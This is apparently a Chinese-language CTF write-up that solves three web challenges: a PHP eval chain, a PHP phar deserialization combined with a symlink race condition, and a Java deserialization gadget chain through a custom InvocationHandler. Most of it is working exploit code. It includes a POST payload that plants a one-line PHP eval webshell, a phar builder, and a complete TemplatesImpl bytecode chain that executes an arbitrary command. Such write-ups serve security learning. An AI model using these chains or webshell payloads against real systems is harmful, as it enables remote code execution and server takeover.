# warmup-php (反序列化)
# 源码
index.php
<?php | |
spl_autoload_register(function($class){ | |
require("./class/".$class.".php"); | |
}); | |
highlight_file(__FILE__); | |
error_reporting(0); | |
$action = $_GET['action']; | |
$properties = $_POST['properties']; | |
class Action{ | |
public function __construct($action,$properties){ | |
$object=new $action(); | |
foreach($properties as $name=>$value) | |
$object->$name=$value; | |
$object->run(); | |
} | |
} | |
new Action($action,$properties); |
Base.php
<?php | |
class Base | |
{ | |
public function __get($name) | |
{ | |
$getter = 'get' . $name; | |
if (method_exists($this, $getter)) { | |
return $this->$getter(); | |
} else { | |
throw new Exception("error property {$name}"); | |
} | |
} | |
public function __set($name, $value) | |
{ | |
$setter = 'set' . $name; | |
if (method_exists($this, $setter)) { | |
return $this->$setter($value); | |
} else { | |
throw new Exception("error property {$name}"); | |
} | |
} | |
public function __isset($name) | |
{ | |
$getter = 'get' . $name; | |
if (method_exists($this, $getter)) | |
return $this->$getter() !== null; | |
return false; | |
} | |
public function __unset($name) | |
{ | |
$setter = 'set' . $name; | |
if (method_exists($this, $setter)) | |
$this->$setter(null); | |
} | |
public function evaluateExpression($_expression_,$_data_=array()) | |
{ | |
if(is_string($_expression_)) | |
{ | |
extract($_data_); | |
return eval('return '.$_expression_.';'); | |
} | |
else | |
{ | |
$_data_[]=$this; | |
return call_user_func_array($_expression_, $_data_); | |
} | |
} | |
} |
Filter.php
<?php | |
class Filter extends Base | |
{ | |
public $lastModified; | |
public $lastModifiedExpression; | |
public $etagSeed; | |
public $etagSeedExpression; | |
public $cacheControl='max-age=3600, public'; | |
public function preFilter($filterChain) | |
{ | |
$lastModified=$this->getLastModifiedValue(); | |
$etag=$this->getEtagValue(); | |
if($etag===false&&$lastModified===false) | |
return true; | |
if($etag) | |
header('ETag: '.$etag); | |
if(isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])&&isset($_SERVER['HTTP_IF_NONE_MATCH'])) | |
{ | |
if($this->checkLastModified($lastModified)&&$this->checkEtag($etag)) | |
{ | |
$this->send304Header(); | |
$this->sendCacheControlHeader(); | |
return false; | |
} | |
} | |
elseif(isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])) | |
{ | |
if($this->checkLastModified($lastModified)) | |
{ | |
$this->send304Header(); | |
$this->sendCacheControlHeader(); | |
return false; | |
} | |
} | |
elseif(isset($_SERVER['HTTP_IF_NONE_MATCH'])) | |
{ | |
if($this->checkEtag($etag)) | |
{ | |
$this->send304Header(); | |
$this->sendCacheControlHeader(); | |
return false; | |
} | |
} | |
if($lastModified) | |
header('Last-Modified: '.gmdate('D, d M Y H:i:s', $lastModified).' GMT'); | |
$this->sendCacheControlHeader(); | |
return true; | |
} | |
protected function getLastModifiedValue() | |
{ | |
if($this->lastModifiedExpression) | |
{ | |
$value=$this->evaluateExpression($this->lastModifiedExpression); | |
if(is_numeric($value)&&$value==(int)$value) | |
return $value; | |
elseif(($lastModified=strtotime($value))===false) | |
throw new Exception("error"); | |
return $lastModified; | |
} | |
if($this->lastModified) | |
{ | |
if(is_numeric($this->lastModified)&&$this->lastModified==(int)$this->lastModified) | |
return $this->lastModified; | |
elseif(($lastModified=strtotime($this->lastModified))===false) | |
throw new Exception("error"); | |
return $lastModified; | |
} | |
return false; | |
} | |
protected function getEtagValue() | |
{ | |
if($this->etagSeedExpression) | |
return $this->generateEtag($this->evaluateExpression($this->etagSeedExpression)); | |
elseif($this->etagSeed) | |
return $this->generateEtag($this->etagSeed); | |
return false; | |
} | |
protected function checkEtag($etag) | |
{ | |
return isset($_SERVER['HTTP_IF_NONE_MATCH'])&&$_SERVER['HTTP_IF_NONE_MATCH']==$etag; | |
} | |
protected function checkLastModified($lastModified) | |
{ | |
return isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])&&@strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE'])>=$lastModified; | |
} | |
protected function send304Header() | |
{ | |
header('HTTP/1.1 304 Not Modified'); | |
} | |
protected function generateEtag($seed) | |
{ | |
return '"'.base64_encode(sha1(serialize($seed),true)).'"'; | |
} | |
} |
ListView.php
<?php | |
abstract class ListView extends Base | |
{ | |
public $tagName='div'; | |
public $template; | |
public function run() | |
{ | |
echo "<".$this->tagName.">\n"; | |
$this->renderContent(); | |
echo "<".$this->tagName.">\n"; | |
} | |
public function renderContent() | |
{ | |
ob_start(); | |
echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template); | |
ob_end_flush(); | |
} | |
protected function renderSection($matches) | |
{ | |
$method='render'.$matches[1]; | |
if(method_exists($this,$method)) | |
{ | |
$this->$method(); | |
$html=ob_get_contents(); | |
ob_clean(); | |
return $html; | |
} | |
else | |
return $matches[0]; | |
} | |
} |
TestView.php
<?php | |
class TestView extends ListView | |
{ | |
const FILTER_POS_HEADER='header'; | |
const FILTER_POS_BODY='body'; | |
public $columns=array(); | |
public $rowCssClass=array('odd','even'); | |
public $rowCssClassExpression; | |
public $rowHtmlOptionsExpression; | |
public $selectableRows=1; | |
public $data=array(); | |
public $filterSelector='{filter}'; | |
public $filterCssClass='filters'; | |
public $filterPosition='body'; | |
public $filter; | |
public $hideHeader=false; | |
public function renderTableHeader() | |
{ | |
if(!$this->hideHeader) | |
{ | |
echo "<thead>\n"; | |
if($this->filterPosition===self::FILTER_POS_HEADER) | |
$this->renderFilter(); | |
if($this->filterPosition===self::FILTER_POS_BODY) | |
$this->renderFilter(); | |
echo "</thead>\n"; | |
} | |
elseif($this->filter!==null && ($this->filterPosition===self::FILTER_POS_HEADER || $this->filterPosition===self::FILTER_POS_BODY)) | |
{ | |
echo "<thead>\n"; | |
$this->renderFilter(); | |
echo "</thead>\n"; | |
} | |
} | |
public function renderFilter() | |
{ | |
if($this->filter!==null) | |
{ | |
echo "<tr class=\"{$this->filterCssClass}\">\n"; | |
echo "</tr>\n"; | |
} | |
} | |
public function renderTableRow($row) | |
{ | |
$htmlOptions=array(); | |
if($this->rowHtmlOptionsExpression!==null) | |
{ | |
$data=$this->data[$row]; | |
$options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data)); | |
if(is_array($options)) | |
$htmlOptions = $options; | |
} | |
if($this->rowCssClassExpression!==null) | |
{ | |
$data=$this->dataProvider->data[$row]; | |
$class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data)); | |
} | |
elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0) | |
$class=$this->rowCssClass[$row%$n]; | |
if(!empty($class)) | |
{ | |
if(isset($htmlOptions['class'])) | |
$htmlOptions['class'].=' '.$class; | |
else | |
$htmlOptions['class']=$class; | |
} | |
} | |
public function renderTableBody() | |
{ | |
$data=$this->data; | |
$n=count($data); | |
echo "<tbody>\n"; | |
if($n>0) | |
{ | |
for($row=0;$row<$n;++$row) | |
$this->renderTableRow($row); | |
} | |
else | |
{ | |
echo '<tr><td colspan="'.count($this->columns).'" class="empty">'; | |
echo "</td></tr>\n"; | |
} | |
echo "</tbody>\n"; | |
} | |
} |
# 代码审计
# Base.evaluateExpression
看到 Base.php
有这么一个函数,尝试利用
尝试利用第一个, return
的时候写一个文件 (这里也可以直接 return system('/readflag')
)
写一个 test.php
<?php | |
include_once "Base.php"; | |
$a = new Base(); | |
$_expression_ = $_POST['expression']; | |
$data= [1,2]; | |
$a->evaluateExpression($_expression_, $data); |
传入
expression=file_put_contents("miku.php", "<?php eval(\$_POST[1]);") |
这里有一个小知识点,传一句话木马的时候从 hackbar
传,而且 $_POST
前面加反斜线,这样传进来的才是一句话木马
从 phpstorm
里面要这样传
$_expression_ = "file_put_contents(\"miku.php\", \"<?php eval(\\\$_POST[1]);\")"; |
否则 $_POST[1]
会消失
只要让传入的 _expression_
为 file_put_contents
即可
找一下哪里用了这个函数
# TestView.renderTableRow
<?php | |
include_once "Base.php"; | |
include_once "ListView.php"; | |
include_once "TestView.php"; | |
$a = new TestView(); | |
$a->rowHtmlOptionsExpression = "file_put_contents(\"miku.php\", \"<?php eval(\\\$_POST[1]);\")"; | |
$data= "1"; | |
$a->renderTableRow($data); |
那么让这个类的 rowHtmlOptionsExpression
属性为 file_put_contents
,看看哪里调用这个方法
# TestView.renderTableBody
直接调用就可以了
注意这里要进入的话需要 n 大于 0,也就是说 data
需要大于 0
<?php | |
include_once "Base.php"; | |
include_once "ListView.php"; | |
include_once "TestView.php"; | |
$a = new TestView(); | |
$a->data = [1]; | |
$a->rowHtmlOptionsExpression = "file_put_contents(\"miku.php\", \"<?php eval(\\\$_POST[1]);\")"; | |
$a->renderTableBody(); |
然后看看哪里调用了 renderTableBody
# ListView.renderContent
找不到直接调用,看看其他类
先看一下 preg_replace_callback
我们把括号去掉可以看到此时就匹配到了一个
那么 renderContent
的意思是对他自身的 template
属性调用 renderSection
函数
这里刚好调用的无参方法,让其 template
为 renderTableBody
即可
注意:正则表达式是 {(\w+)}
,所以传入的 template
需要带上 {}
<?php | |
include_once "Base.php"; | |
include_once "ListView.php"; | |
include_once "TestView.php"; | |
$a = new TestView(); | |
$a->data = [1]; | |
$a->rowHtmlOptionsExpression = "file_put_contents(\"miku.php\", \"<?php eval(\\\$_POST[1]);\")"; | |
$a->template = "{TableBody}"; | |
$a->renderContent(); |
剩下的就比较简单了
get
action=TestView |
post
properties[template]={TableBody}&properties[data][0]=1&properties[data][1]=2&properties[rowHtmlOptionsExpression]=file_put_contents("miku.php", "<?php eval(\$_POST[a]);") |
# soeazy-php(phar,条件竞争)
- 修改界面的任意文件读取
- phar 反序列化
- 条件竞争
查看源码发现 edit.php
利用这个读取源码
先看一下 edit.php
作用
我们把头像换成 1.png
那么我们把头像换成 ../edit.php
右键新开窗口然后保存即可
<?php | |
ini_set("error_reporting","0"); | |
class flag{ | |
public function copyflag(){ | |
exec("/copyflag"); // 以 root 权限复制 /flag 到 /tmp/flag.txt,并 chown www-data:www-data /tmp/flag.txt | |
echo "SFTQL"; | |
} | |
public function __destruct(){ | |
$this->copyflag(); | |
} | |
} | |
function filewrite($file,$data){ | |
unlink($file); | |
file_put_contents($file, $data); | |
} | |
if(isset($_POST['png'])){ | |
$filename = $_POST['png']; | |
if(!preg_match("/:|phar|\/\/|php/im",$filename)){ | |
$f = fopen($filename,"r"); | |
$contents = fread($f, filesize($filename)); | |
if(strpos($contents,"flag{") !== false){ | |
filewrite($filename,"Don't give me flag!!!"); | |
} | |
} | |
if(isset($_POST['flag'])) { | |
$flag = (string)$_POST['flag']; | |
if ($flag == "Give me flag") { | |
filewrite("/tmp/flag.txt", "Don't give me flag"); | |
sleep(2); | |
die("no no no !"); | |
} else { | |
filewrite("/tmp/flag.txt", $flag); // 不给我看我自己写个 flag。 | |
} | |
$head = "uploads/head.png"; | |
unlink($head); | |
if (symlink($filename, $head)) { | |
echo "成功更换头像"; | |
} else { | |
unlink($filename); | |
echo "非正常文件,已被删除"; | |
}; | |
} | |
} |
# 代码审计
以 root 权限复制 /flag 到 /tmp/flag.txt,并 chown www-data:www-data /tmp/flag.txt
这一段就是获取要更换的图片文件名,并且文件内容不能有 flag
前半段是将传入的 flag
写入 /tmp/flag.txt
后半段是将传入的 png
文件名连接到 uploads/head.png
# phar 反序列化
利用 flag
类的 copyflag
函数将 flag
放入 /tmp/flag.txt
中,这里可以利用 phar
协议,因为都是处理文件的函数
因为 POST['png']
一段里面有对 phar
的过滤,所以不能在这一段里面利用
只有 unlink
是可以控制的,所以我们需要进入到 unlink
里面
我们看一下 symlink
的作用 (linux 下)
<?php | |
$target = 'uploads.php'; | |
$link = 'uploads'; | |
symlink($target, $link); | |
echo readlink($link); | |
?> |
<?php | |
file_put_contents("123.php", "<?php echo(123);?>"); | |
var_dump(symlink("/etc/passwd", "123.php")); |
姑且认为目标符号如果是一个存在的文件,那么就不可以创建链接
就是说我们传入 phar://uploads/xxx.png
(我们之前上传好的 phar 文件) 的时候会默认 false
构造 phar
文件上传
<?php | |
error_reporting(E_ALL); | |
class flag { | |
} | |
@unlink("phar.phar"); | |
$phar = new Phar("phar.phar"); | |
$phar->startBuffering(); | |
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 设置 stub,增加 gif 文件头 | |
$o = new flag(); | |
$phar->setMetadata($o); // 将自定义 meta-data 存入 manifest | |
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件 | |
// 签名自动计算 | |
$phar->stopBuffering(); | |
?> |
# 条件竞争
通过 phar
反序列化我们让 flag
放入了 /tmp/flag.txt
但是我们怎么去读取 /tmp/flag.txt
呢,通过 symlink($filename, $head)
将 /tmp/flag.txt
与 header.png
绑定的时候去读取
就是说我们需要在 head.png
绑定 /tmp/flag.txt
的时候进行 phar
反序列化,也就是前面一直上传
../../../../../../tmp/flag.txt
,在最后的时候加上 phar://uploads/xxx.png
解释一下它为啥是最后一个,由于需要上传 $_POST['flag']
才能进入到第二段 if 语句中,而进入后传参的 $_POST['flag']
又会被写到 /tmp/flag.txt
,如果 payload
不是在最后一个那么 /tmp/flag.txt
会被覆盖
# warmup_java(动态代理)
# 源码
给了个 jar 包
IndexController
public class IndexController { | |
@RequestMapping({"/warmup"}) | |
public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception { | |
byte[] b = Utils.hexStringToBytes(data); | |
InputStream inputStream = new ByteArrayInputStream(b); | |
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); | |
objectInputStream.readObject(); | |
return "index"; | |
} | |
} |
MyInvocationHandler
public class MyInvocationHandler implements InvocationHandler, Serializable { | |
private Class type; | |
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { | |
Method[] methods = this.type.getDeclaredMethods(); | |
Method[] var5 = methods; | |
int var6 = methods.length; | |
for (int var7 = 0; var7 < var6; var7++) { | |
Method xmethod = var5[var7]; | |
xmethod.invoke(args[0], new Object[0]); | |
} | |
return null; | |
} | |
} |
Utils
public class Utils { | |
public static String bytesTohexString(byte[] bytes) { | |
if (bytes == null) | |
return null; | |
StringBuilder ret = new StringBuilder(2 * bytes.length); | |
for (int i = 0; i < bytes.length; i++) { | |
int b = 0xF & bytes[i] >> 4; | |
ret.append("0123456789abcdef".charAt(b)); | |
b = 0xF & bytes[i]; | |
ret.append("0123456789abcdef".charAt(b)); | |
} | |
return ret.toString(); | |
} | |
static int hexCharToInt(char c) { | |
if (c >= '0' && c <= '9') | |
return c - 48; | |
if (c >= 'A' && c <= 'F') | |
return c - 65 + 10; | |
if (c >= 'a' && c <= 'f') | |
return c - 97 + 10; | |
throw new RuntimeException("invalid hex char '" + c + "'"); | |
} | |
public static byte[] hexStringToBytes(String s) { | |
if (s == null) | |
return null; | |
int sz = s.length(); | |
byte[] ret = new byte[sz / 2]; | |
for (int i = 0; i < sz; i += 2) | |
ret[i / 2] = (byte)(hexCharToInt(s.charAt(i)) << 4 | hexCharToInt(s.charAt(i + 1))); | |
return ret; | |
} | |
public static String objectToHexString(Object obj) throws Exception { | |
ByteArrayOutputStream bos = new ByteArrayOutputStream(); | |
ObjectOutputStream out = null; | |
out = new ObjectOutputStream(bos); | |
out.writeObject(obj); | |
out.flush(); | |
byte[] bytes = bos.toByteArray(); | |
bos.close(); | |
String hex = bytesTohexString(bytes); | |
return hex; | |
} | |
} |
# 代码审计
这里就是将 16 进制的数字转换为字节数组然后反序列化,配合一下包里给的 Utils
类即可
这个 MyInvocationHandler
的 invoke
方法就是将其属性 type
所有的方法进行调用,参数是外部传入的参数
也就是说,外部类无论调用什么方法都与内部无关,外部类仅仅起到传递参数的作用,那么我们直接让其 type
为 Templates.class
即可,接着找如何利用
https://forum.butian.net/share/1520
这里是利用 CC4 的入口,但是实际上我们只需要寻找满足
readObject
方法直接或者间接调用能够传入可控制的参数
的类即可
例如我们从 CC5 中找一个
CC5 中调用链:
BadAttributeValueExpException.readObject -> TiedMapEntry.toString -> this.map.get(this.key) |
先写一个 map.get(key)
出来
import static marshalsec.util.Reflections.setFieldValue; | |
public class exp { | |
public static byte[] getTemplatesImpl(String cmd) { | |
try { | |
ClassPool pool = ClassPool.getDefault(); | |
CtClass ctClass = pool.makeClass("Evil"); | |
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); | |
ctClass.setSuperclass(superClass); | |
CtConstructor constructor = ctClass.makeClassInitializer(); | |
constructor.setBody(" try {\n" + | |
" Runtime.getRuntime().exec(\"" + cmd + | |
"\");\n" + | |
" } catch (Exception ignored) {\n" + | |
" }"); | |
byte[] bytes = ctClass.toBytecode(); | |
ctClass.defrost(); | |
return bytes; | |
} catch (Exception e) { | |
e.printStackTrace(); | |
return new byte[]{}; | |
} | |
} | |
public static void main(String[] args) throws Exception { | |
TemplatesImpl templates = new TemplatesImpl(); | |
setFieldValue(templates,"_name", "aaa"); | |
byte[] code = getTemplatesImpl("calc"); | |
byte[][] bytecodes = {code}; | |
setFieldValue(templates, "_bytecodes", bytecodes); | |
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl()); | |
MyInvocationHandler myInvocationHandler = new MyInvocationHandler(Templates.class); | |
Map map = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, myInvocationHandler); | |
map.get(templates); | |
} | |
} |
再放到 TiedMapEntry
里面
public class exp { | |
public static byte[] getTemplatesImpl(String cmd) { | |
try { | |
ClassPool pool = ClassPool.getDefault(); | |
CtClass ctClass = pool.makeClass("Evil"); | |
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); | |
ctClass.setSuperclass(superClass); | |
CtConstructor constructor = ctClass.makeClassInitializer(); | |
constructor.setBody(" try {\n" + | |
" Runtime.getRuntime().exec(\"" + cmd + | |
"\");\n" + | |
" } catch (Exception ignored) {\n" + | |
" }"); | |
byte[] bytes = ctClass.toBytecode(); | |
ctClass.defrost(); | |
return bytes; | |
} catch (Exception e) { | |
e.printStackTrace(); | |
return new byte[]{}; | |
} | |
} | |
public static void main(String[] args) throws Exception { | |
TemplatesImpl templates = new TemplatesImpl(); | |
setFieldValue(templates,"_name", "aaa"); | |
byte[] code = getTemplatesImpl("calc"); | |
byte[][] bytecodes = {code}; | |
setFieldValue(templates, "_bytecodes", bytecodes); | |
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl()); | |
MyInvocationHandler myInvocationHandler = new MyInvocationHandler(Templates.class); | |
Map map = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, myInvocationHandler); | |
// map.get(templates); | |
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "1"); | |
setFieldValue(tiedMapEntry, "map", map); | |
setFieldValue(tiedMapEntry, "key", templates); | |
tiedMapEntry.toString(); | |
} | |
} |
最终 exp
public class exp { | |
public static byte[] getTemplatesImpl(String cmd) { | |
try { | |
ClassPool pool = ClassPool.getDefault(); | |
CtClass ctClass = pool.makeClass("Evil"); | |
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); | |
ctClass.setSuperclass(superClass); | |
CtConstructor constructor = ctClass.makeClassInitializer(); | |
constructor.setBody(" try {\n" + | |
" Runtime.getRuntime().exec(\"" + cmd + | |
"\");\n" + | |
" } catch (Exception ignored) {\n" + | |
" }"); | |
byte[] bytes = ctClass.toBytecode(); | |
ctClass.defrost(); | |
return bytes; | |
} catch (Exception e) { | |
e.printStackTrace(); | |
return new byte[]{}; | |
} | |
} | |
public static void main(String[] args) throws Exception { | |
TemplatesImpl templates = new TemplatesImpl(); | |
setFieldValue(templates,"_name", "aaa"); | |
byte[] code = getTemplatesImpl("calc"); | |
byte[][] bytecodes = {code}; | |
setFieldValue(templates, "_bytecodes", bytecodes); | |
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl()); | |
MyInvocationHandler myInvocationHandler = new MyInvocationHandler(Templates.class); | |
Map map = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, myInvocationHandler); | |
// map.get(templates); | |
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "1"); | |
setFieldValue(tiedMapEntry, "map", map); | |
setFieldValue(tiedMapEntry, "key", templates); | |
// tiedMapEntry.toString(); | |
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); | |
setFieldValue(badAttributeValueExpException, "val", tiedMapEntry); | |
System.out.print(Utils.objectToHexString(badAttributeValueExpException)); | |
String data = Utils.objectToHexString(badAttributeValueExpException); | |
new ObjectInputStream(new ByteArrayInputStream(Utils.hexStringToBytes(data))).readObject(); | |
} | |
} |